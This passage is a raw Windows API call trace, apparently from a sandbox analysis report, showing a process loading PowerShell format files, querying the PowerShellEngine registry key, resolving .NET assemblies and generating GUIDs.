lpBuffer=0x3451790*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.335] ReadFile (in: hFile=0x30c, lpBuffer=0x3451790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3451790*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.336] ReadFile (in: hFile=0x30c, lpBuffer=0x3451790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3451790*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.336] ReadFile (in: hFile=0x30c, lpBuffer=0x3451790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3451790*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.336] ReadFile (in: hFile=0x30c, lpBuffer=0x3451790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3451790*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.337] ReadFile (in: hFile=0x30c, lpBuffer=0x3451790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3451790*, lpNumberOfBytesRead=0x1accf8*=0xfb2, lpOverlapped=0x0) returned 1 [0113.337] ReadFile (in: hFile=0x30c, lpBuffer=0x3450eaa, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3450eaa*, lpNumberOfBytesRead=0x1accf8*=0x0, lpOverlapped=0x0) returned 1 [0113.337] ReadFile (in: hFile=0x30c, lpBuffer=0x3451790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3451790*, lpNumberOfBytesRead=0x1accf8*=0x0, lpOverlapped=0x0) returned 1 [0113.337] CloseHandle (hObject=0x30c) returned 1 [0113.337] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1aca40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0113.337] SetErrorMode (uMode=0x1) returned 0x1 [0113.338] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1acca0 | out: lpFileInformation=0x1acca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0113.338] SetErrorMode (uMode=0x1) returned 0x1 [0113.338] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0113.338] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.338] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.338] CoTaskMemAlloc (cb=0x5a) returned 0x2878630 [0113.338] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878630, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.338] CoTaskMemFree (pv=0x2878630) [0113.338] RegCloseKey (hKey=0x30c) returned 0x0 [0113.338] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0113.338] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0113.340] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x456e08f, Data2=0x4473, Data3=0x4baf, Data4=([0]=0x8a, [1]=0xb9, [2]=0x48, [3]=0xb7, [4]=0x9a, [5]=0xd5, [6]=0x82, [7]=0xdf))) returned 0x0 [0113.342] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xdf3ec9bd, Data2=0x7e99, Data3=0x4712, Data4=([0]=0x96, [1]=0x1b, [2]=0x5, [3]=0xa, [4]=0xfa, [5]=0x5f, [6]=0xb4, [7]=0x90))) returned 0x0 [0113.344] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xb8624745, Data2=0x46bb, Data3=0x4e75, Data4=([0]=0xa3, [1]=0x73, [2]=0x27, [3]=0x52, [4]=0x8d, [5]=0xd4, [6]=0x46, [7]=0xff))) returned 0x0 [0113.344] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x4859b23b, Data2=0x38a5, Data3=0x4d0d, Data4=([0]=0x96, [1]=0x6d, [2]=0x3e, [3]=0x30, [4]=0x66, [5]=0xe5, [6]=0x48, [7]=0xf3))) returned 0x0 [0113.344] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xe6170c3a, Data2=0x2bc6, Data3=0x44ea, Data4=([0]=0x89, [1]=0xb3, [2]=0x17, [3]=0x6, [4]=0xab, [5]=0x4c, [6]=0x64, [7]=0x59))) returned 0x0 [0113.344] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x27e7ebce, Data2=0x406a, Data3=0x47c3, Data4=([0]=0x9d, [1]=0x27, [2]=0xfc, [3]=0xf9, [4]=0x97, [5]=0x6, [6]=0xad, [7]=0x22))) returned 0x0 [0113.347] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.347] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.347] CoTaskMemAlloc (cb=0x5a) returned 0x2878630 [0113.347] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878630, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.347] CoTaskMemFree (pv=0x2878630) [0113.347] RegCloseKey (hKey=0x30c) returned 0x0 [0113.347] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.348] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.351] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0113.353] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0113.362] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0113.369] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.377] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0113.459] VirtualQuery (in: lpAddress=0x1ab820, lpBuffer=0x1ac6e0, dwLength=0x30 | out: lpBuffer=0x1ac6e0*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.460] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x6c8dc5e, Data2=0xaf1b, Data3=0x4bbb, Data4=([0]=0x8b, [1]=0x52, [2]=0x9a, [3]=0xd0, [4]=0xcd, [5]=0xac, [6]=0xbb, [7]=0x3e))) returned 0x0 [0113.460] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x420465ec, Data2=0xaa97, Data3=0x48ef, Data4=([0]=0x9c, [1]=0x74, [2]=0xcc, [3]=0xb1, [4]=0x18, [5]=0xd9, [6]=0x32, [7]=0x97))) returned 0x0 [0113.461] VirtualQuery (in: lpAddress=0x1ab9d0, lpBuffer=0x1ac890, dwLength=0x30 | out: lpBuffer=0x1ac890*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.462] VirtualQuery (in: lpAddress=0x1ab9d0, lpBuffer=0x1ac890, dwLength=0x30 | out: lpBuffer=0x1ac890*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.463] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xbe31f800, Data2=0x4ae, Data3=0x4da4, Data4=([0]=0x85, [1]=0x72, [2]=0x8, [3]=0x9b, [4]=0x74, [5]=0x62, [6]=0x28, [7]=0x19))) returned 0x0 [0113.466] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xee7bf381, Data2=0x82d7, Data3=0x4577, Data4=([0]=0x80, [1]=0x8d, [2]=0x33, [3]=0x5f, [4]=0x4c, [5]=0xc3, [6]=0xc3, [7]=0x0))) returned 0x0 [0113.466] VirtualQuery (in: lpAddress=0x1abc20, lpBuffer=0x1acae0, dwLength=0x30 | out: lpBuffer=0x1acae0*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.468] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x80ba9dc0, Data2=0x6a34, Data3=0x4f90, Data4=([0]=0x9b, [1]=0x70, [2]=0xb9, [3]=0x98, [4]=0xab, [5]=0x64, [6]=0x0, [7]=0x6f))) returned 0x0 [0113.469] VirtualQuery (in: lpAddress=0x1ab290, lpBuffer=0x1ac150, dwLength=0x30 | out: lpBuffer=0x1ac150*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.469] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x212653c1, Data2=0x1348, Data3=0x45b5, Data4=([0]=0xb7, [1]=0x15, [2]=0x6d, [3]=0xb, [4]=0x12, [5]=0xe3, [6]=0xfd, [7]=0xc4))) returned 0x0 [0113.469] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xfb99a158, Data2=0xa8b7, Data3=0x4bb5, Data4=([0]=0xa2, [1]=0x8b, [2]=0x4e, [3]=0xf2, [4]=0x88, [5]=0x8f, [6]=0xe4, [7]=0xae))) returned 0x0 [0113.470] SetErrorMode (uMode=0x1) returned 0x1 [0113.473] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.473] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.473] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.474] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.474] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.474] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.474] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.475] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.475] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.475] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.475] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.475] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.475] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.476] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.476] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.477] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.477] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0xbce, lpOverlapped=0x0) returned 1 [0113.477] ReadFile (in: hFile=0x30c, lpBuffer=0x354f1be, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354f1be*, lpNumberOfBytesRead=0x1accf8*=0x0, lpOverlapped=0x0) returned 1 [0113.477] ReadFile (in: hFile=0x30c, lpBuffer=0x354fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x354fa88*, lpNumberOfBytesRead=0x1accf8*=0x0, lpOverlapped=0x0) returned 1 [0113.477] CloseHandle (hObject=0x30c) returned 1 [0113.477] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1aca40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.477] SetErrorMode (uMode=0x1) returned 0x1 [0113.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1acca0 | out: lpFileInformation=0x1acca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0113.478] SetErrorMode (uMode=0x1) returned 0x1 [0113.478] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.478] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.478] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.478] CoTaskMemAlloc (cb=0x5a) returned 0x2878b00 [0113.478] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878b00, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.478] CoTaskMemFree (pv=0x2878b00) [0113.478] RegCloseKey (hKey=0x30c) returned 0x0 [0113.478] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.478] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.481] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xf03ae614, Data2=0x7daf, Data3=0x4ccf, Data4=([0]=0xa6, [1]=0xc8, [2]=0xa4, [3]=0x45, [4]=0x25, [5]=0xd2, [6]=0xd0, [7]=0x3c))) returned 0x0 [0113.482] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x9c8d27c9, Data2=0xb7c4, Data3=0x4373, Data4=([0]=0xbb, [1]=0xd2, [2]=0x73, [3]=0x54, [4]=0x1e, [5]=0xcf, [6]=0x87, [7]=0xf9))) returned 0x0 [0113.482] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x41dce0f5, Data2=0xd29e, Data3=0x459c, Data4=([0]=0x93, [1]=0xac, [2]=0x20, [3]=0xcc, [4]=0xd6, [5]=0x6d, [6]=0x0, [7]=0xef))) returned 0x0 [0113.483] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x1f0c0533, Data2=0x18ed, Data3=0x4955, Data4=([0]=0x9e, [1]=0xa9, [2]=0x3f, [3]=0x99, [4]=0xbd, [5]=0x9a, [6]=0xd8, [7]=0xe2))) returned 0x0 [0113.483] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x859bc6a2, Data2=0x4ebf, Data3=0x4130, Data4=([0]=0xbb, [1]=0x74, [2]=0xd4, [3]=0x2d, [4]=0x84, [5]=0xee, [6]=0x7c, [7]=0x8))) returned 0x0 [0113.484] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x7cce2591, Data2=0xeaa5, Data3=0x4e8c, Data4=([0]=0xa6, [1]=0x12, [2]=0x5e, [3]=0xea, [4]=0x4e, [5]=0x69, [6]=0xe1, [7]=0x5d))) returned 0x0 [0113.484] VirtualQuery (in: lpAddress=0x1ab960, lpBuffer=0x1ac820, dwLength=0x30 | out: lpBuffer=0x1ac820*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.485] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xbd820cb0, Data2=0xd57, Data3=0x4aae, Data4=([0]=0xb8, [1]=0x4d, [2]=0xf3, [3]=0xaa, [4]=0xef, [5]=0x29, [6]=0x81, [7]=0x93))) returned 0x0 [0113.485] VirtualQuery (in: lpAddress=0x1ab960, lpBuffer=0x1ac820, dwLength=0x30 | out: lpBuffer=0x1ac820*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.486] VirtualQuery (in: lpAddress=0x1ab960, lpBuffer=0x1ac820, dwLength=0x30 | out: lpBuffer=0x1ac820*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.488] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x15646b5c, Data2=0xfb31, Data3=0x4bd3, Data4=([0]=0x87, [1]=0xbd, [2]=0x52, [3]=0x4d, [4]=0xfa, [5]=0x13, [6]=0x3, [7]=0xd3))) returned 0x0 [0113.488] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x2437aa69, Data2=0x6f13, Data3=0x43bb, Data4=([0]=0x8b, [1]=0x5c, [2]=0x9b, [3]=0xad, [4]=0xce, [5]=0x3e, [6]=0xb4, [7]=0x59))) returned 0x0 [0113.489] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xac72f1ec, Data2=0x2ccc, Data3=0x4d8c, Data4=([0]=0x88, [1]=0xdd, [2]=0x82, [3]=0x27, [4]=0xc6, [5]=0xcb, [6]=0xae, [7]=0x2))) returned 0x0 [0113.489] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x3dd75ceb, Data2=0x8db2, Data3=0x4e29, Data4=([0]=0x84, [1]=0xee, [2]=0xa2, [3]=0x6f, [4]=0x38, [5]=0xd2, [6]=0xa3, [7]=0xdf))) returned 0x0 [0113.490] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xba9d9bc9, Data2=0x561a, Data3=0x4c38, Data4=([0]=0x84, [1]=0xec, [2]=0x9f, [3]=0xc9, [4]=0x95, [5]=0xb2, [6]=0x94, [7]=0xaa))) returned 0x0 [0113.494] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xe634fd7a, Data2=0x9a7a, Data3=0x4eab, Data4=([0]=0xbf, [1]=0x5c, [2]=0xac, [3]=0xaa, [4]=0x0, [5]=0x41, [6]=0x7c, [7]=0xe2))) returned 0x0 [0113.494] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xa8e8c582, Data2=0x223e, Data3=0x484c, Data4=([0]=0x87, [1]=0x45, [2]=0xa0, [3]=0x6a, [4]=0x4a, [5]=0xe7, [6]=0xcb, [7]=0x30))) returned 0x0 [0113.495] CoCreateGuid (in: 